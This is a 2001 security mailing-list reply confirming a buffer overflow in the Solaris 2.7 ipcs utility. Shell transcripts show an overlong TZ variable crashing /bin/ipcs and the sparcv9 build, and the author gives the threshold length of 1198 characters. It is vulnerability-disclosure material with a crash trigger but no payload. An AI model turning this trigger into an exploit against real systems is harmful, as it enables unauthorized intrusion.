Re: Solaris ipcs vulnerability

From: Robert G. Ferrell (rootat_private)
Date: Tue Apr 17 2001 - 05:26:16 PDT

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>PLATFORM>> solaris 2.7/SPARC
>
><----snip---->
>$ uname -a
>SunOS <host> 5.7 Generic_106541-14 sun4u sparc
>$
>$ TZ=`/usr/local/bin/perl -e 'print "A"x2048'`
>$
>$ /bin/ipcs
>Segmentation Fault
>$
>$ /usr/bin/sparcv7/ipcs
>/usr/bin/sparcv7/ipcs: /dev/ksyms is not a 32-bit kernel namelist
>$
>$ /usr/bin/sparcv9/ipcs
>Segmentation Fault

Same behavior on my box:

# uname -a
SunOS <host> 5.7 Generic_106541-10 sun4u sparc SUNW,Ultra-5_10
#
# TZ=`perl -e 'print "A"x2048'`
#
# /bin/ipcs
Segmentation Fault
#
# /usr/bin/sparcv7/ipcs
/usr/bin/sparcv7/ipcs: /dev/ksyms is not a 32-bit kernel namelist
#
# /usr/bin/sparcv9/ipcs
Segmentation Fault


Anything above 1198 "A's" seg faults /bin/ipcs and /usr/bin/sparcv9/ipcs.

Cheers,

RGF

Robert G. Ferrell, CISSP
Information Systems Security Officer
National Business Center
U. S. Dept. of the Interior
Robert_G_Ferrellat_private
========================================
 Who goeth without humor goeth unarmed.
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